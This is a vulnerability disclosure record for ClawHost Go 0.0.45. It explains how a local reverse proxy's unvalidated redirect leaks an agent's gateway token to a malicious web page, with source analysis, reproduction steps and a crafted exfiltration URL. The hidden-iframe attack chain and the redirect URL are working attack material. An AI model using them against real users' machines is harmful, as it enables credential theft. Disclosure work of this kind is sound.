| tiêu đề | antoinersx clawhost 0.0.45 Local Sensitive Logic Exposure Leading to token leakge |
|---|
| Mô tả | ## 1. Vulnerability Description
While the user is running ClawHost Go and a local agent, a malicious web page can cause the victim's browser to send a request to the local reverse proxy on the victim's machine and read that agent's gateway token through a cross-site redirect.
ClawHost Go's local reverse proxy listens on `127.0.0.1:18700` and routes `*.clawhost` subdomains to the corresponding agent. When a GET request does not contain a `token` parameter, the service places the unvalidated raw request path directly into the `Location` response header and appends the agent's long-lived gateway token as a URL query parameter.
If an attacker constructs a request path beginning with `//`, for example:
```text
http://auditpoc.clawhost:18700//127.0.0.1:8899/clawhost-gateway-token
```
the resulting `Location` value also begins with `//`. The browser interprets it as a protocol-relative URL and redirects to `127.0.0.1:8899`, which is the malicious page's origin in the test setup. The gateway token then enters an attacker-controlled URL in the second request.
The malicious page can perform the entire attack with a hidden iframe. The iframe initially points to the cross-origin ClawHost address, but after the 302 redirect it arrives at an address with the same origin as the attacker's page. The parent page can then read `iframe.contentWindow.location.href` and extract the `token` parameter from the URL. The attack does not require reading the first cross-origin response, so strict CORS enforcement does not prevent the token disclosure.
## 2. Root Cause and Source-Code Analysis
The relevant implementation is in `apps/clawhostgo/src/main/services/reverseProxy.ts`.
The local reverse proxy listens as follows:
```ts
const PROXY_PORT = 18700
const HTTPS_PROXY_PORT = 18701
server = http.createServer(handleRequest)
server.listen(PROXY_PORT, '127.0.0.1')
```
The service extracts the `*.clawhost` subdomain from the `Host` header and looks up the corresponding agent and gateway token:
```ts
const extractSubdomain = (host: string | undefined): string | null => {
if (!host) return null
const hostname = host.split(':')[0]
if (!hostname.endsWith('.clawhost')) return null
return hostname.replace('.clawhost', '')
}
const resolveAgent = (
subdomain: string
): { port: number; gatewayToken: string } | null => {
const agent = configStore.findAgentBySubdomain(subdomain)
if (!agent) return null
return { port: agent.port, gatewayToken: agent.gatewayToken }
}
```
The vulnerable redirect logic is triggered when a GET request does not already contain a token:
```ts
const needsToken =
!!agent.gatewayToken &&
req.method === 'GET' &&
!(req.url || '').includes('token=')
if (needsToken) {
const url = req.url || '/'
const separator = url.includes('?') ? '&' : '?'
res.writeHead(302, {
Location: `${url}${separator}token=${agent.gatewayToken}`
})
res.end()
return
}
```
There are two critical problems in this code.
First, `req.url` is concatenated directly into `Location` without validating that it is a safe same-origin path. A `Location` value beginning with `//` is interpreted by browsers as a network-path reference under RFC 3986. As a result, what should have been a relative redirect to a local proxy path becomes a redirect to an arbitrary origin.
Second, the long-lived `agent.gatewayToken` is placed in a URL query parameter. URL-borne credentials can enter browser history, server logs, proxy logs, and the redirect target. Once the redirect target is controlled by an attacker, the token is exposed directly.
An observed response has the following form, with the token omitted:
```http
HTTP/1.1 302 Found
Location: //127.0.0.1:8899/clawhost-gateway-token?token=<gateway-token>
```
The attack chain is as follows:
1. The victim visits the attacker's web page, for example with origin `http://127.0.0.1:8899`.
2. The page creates a hidden iframe with the initial URL `http://auditpoc.clawhost:18700//127.0.0.1:8899/clawhost-gateway-token`.
3. The victim's browser sends a GET request to local port `18700`.
4. The local reverse proxy returns a 302 whose `Location` points to the attacker's origin and includes the gateway token.
5. The browser follows the redirect, so the iframe now has the same origin as the attacker's page.
6. The parent page reads `iframe.contentWindow.location.href` and extracts the token from the URL.
## 3. Reproduction and PoC
### 3.1 Environment Preparation
Start ClawHost Go and create a local test agent in the client. The test environment used the following parameters:
```text
Agent name: audit-poc
Agent type: openclaw
Subdomain: auditpoc
Port: 18789
Version: 2026.9.4
```
Confirm that the agent is running and that its gateway token has been generated. Do not paste a real token into the report.
If the machine does not already resolve `auditpoc.clawhost` to a loopback address, add the following hosts entry:
```text
127.0.0.1 auditpoc.clawhost
```
The local reverse proxy should then be reachable at:
```text
http://auditpoc.clawhost:18700
```
### 3.2 Running the Malicious Page
Save the complete HTML below as a local web-page file, place it in an empty directory, and start an HTTP server in that directory:
```powershell
python -m http.server 8899
```
If a system proxy intercepts the `.clawhost` domain, open the page in a Chrome instance that bypasses the proxy:
```powershell
& "C:\Program Files\Google\Chrome\Application\chrome.exe" `
--proxy-server="direct://" `
--user-data-dir="$env:TEMP\clawhost-poc-direct" `
"http://127.0.0.1:8899/index.html"
```
The default target is `auditpoc.clawhost:18700`. After clicking the button, a vulnerable installation displays the final same-origin URL of the hidden iframe and reads the gateway token from that URL.
|
|---|
| Nguồn | ⚠️ https://drive.google.com/drive/folders/1fvX6wjfHd58SzCAZd5-4Zn-mh9jqx8mz?usp=drive_link |
|---|
| Người dùng | notwolf (UID 101189) |
|---|
| Đệ trình | 17/09/2026 11:47 (cách đây 1 tháng) |
|---|
| Kiểm duyệt | 19/10/2026 14:52 (1 month later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 422332 [antoinersx clawhost đến 0.0.45 Reverse Proxy reverseProxy.ts handleRequest token Redirect] |
|---|
| điểm | 20 |
|---|